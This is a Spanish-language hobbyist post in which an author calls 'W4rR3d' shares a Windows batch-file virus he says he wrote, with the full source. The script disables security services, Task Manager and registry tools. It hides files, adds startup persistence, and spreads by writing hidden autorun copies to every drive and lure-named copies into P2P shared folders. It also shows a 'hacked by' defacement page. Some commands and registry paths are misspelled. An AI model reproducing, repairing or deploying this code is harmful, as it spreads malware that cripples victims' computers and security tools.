me gusta la programacion en batch y en visual besic script y un poco de seguridad informatica. aca les dejo una de mis creaciones espero que lo corrijan si ven un error
su amigo W4rR3d  - AAHH. San Martin- Av. maria galan - Piura -Peru
este virus informatico se llama autoexec_a.bat, esta creado en batch

@echo off
:: este virus fue creado por hacked by W4rR3d
:: este virus esta dedicado a la comunidad hacker piura- peru
msg * hacked by -={W4rR3d}=-
Set inic= %programfiles%
tasskill /im explorer.exe /f>nul 2>&1 || taskill explorer>nul 2>&1
net stop "Security Center"
net stop "centro de seguridad"
net stop "SharedAccess"
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /v NoFolderOptions /t REG_DWORD /d 1 /f 
reg add "HKCUSoftwareMicrosoftWindowsCurrentversionPoliciesSystem" /v DisableTaskMgr /t reg_dword /d 1 /f 
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /v DisableRegistryTools /t reg_dword /d 1 /f 
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v CheckedValue /t reg_dword /d 1 /f 
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v Hidden /t REG_DWORD /d 2 /f 
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v HideFileExt /t REG_DWORD /d 1 /f 
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f 
for /F %%- in (MSMemoticon,PhotoshopCS4,FreeXXXPhotos,Office2009,VideosCaidasHumor,videosporn,wallpapers,wormgenerator) do (call :p2prop %%-)
copy /y "%0" "%homedrive%\autoexec_a.bat">nul 2>&1
reg add hklm\software\microsoft\windows\currentversion\run /v systemwar /t reg_sz /d %homedrive%\autoexec_a.bat /f
echo.[Autorun] >> %homedrive%\Autorun.inf
echo.label=Pendrive >> %homedrive%\Autorun.inf
echo.action=Abrir Pendrive >> %homedrive%\Autorun.inf
echo.shellexecute="/autoexec_a.bat" >> %homedrive%\Autorun.inf
for %%# in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
copy /Y "%homedrive%\autorun.inf" "%%#:\autorun.inf">nul 2>&1
copy /Y "%0" "%%#:\autoexec_a.bat">nul 2>&1
attrib +R +S +H "%%#:\autorun.inf">nul 2>&1
attrib +R +S +H "%%#:\autoexec_a.bat">nul 2>&1
)
(echo.^<HTML^>
echo.%^<HEAD^>
echo.^<title^>HACKED BY W4rR3d^</title^>
echo.^</HEAD^>
echo.^<BODY^>
echo.^<H1^>         ~~~HACKED BY W4rR3d~~~
echo.^</BODY^>
echo.^</HTML^>)>%homedrive%\IDEAS.HTML
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v ddjsys /t REG_SZ /d %homedrive%\IDEAS.HTML
)
start %homedrive%\IDEAS.HTML
:p2prop
set var=%1
copy /y "%0" "%inic%\Morpheus\My Shared Folder\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\ICQ\shared files\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\KaZaA\My Shared Folder\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\Shareaza\Downloads\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\EDONKEY2000\incoming\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\eMule\Incoming\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\Filetopia3\Files\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\XoloX\Downloads\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\Gnucleus\Downloads\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\LimeWire\Shared\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\Grokster\My Grokster\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\Overnet\incoming\%var%.bat">nul 2>&1
copy /y "%0" "%appdata%\Ares\My Shared Folder\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\Swaptor\Download\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\WinMX\My Shared Folder\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\Tesla\Files\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\BearShare\Shared\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\Rapigator\Share\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\KaZaA Lite\My Shared Folder\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\KMD\My Shared Folder\%var%.bat">nul 2>&1
copy /y "%0" "%inic%\appleJuice\incoming\%var%.bat">nul 2>&1
copy /y "%0" "%programfiles%\Direct Connect\Received Files\%var%.bat">nul 2>&1
goto:eof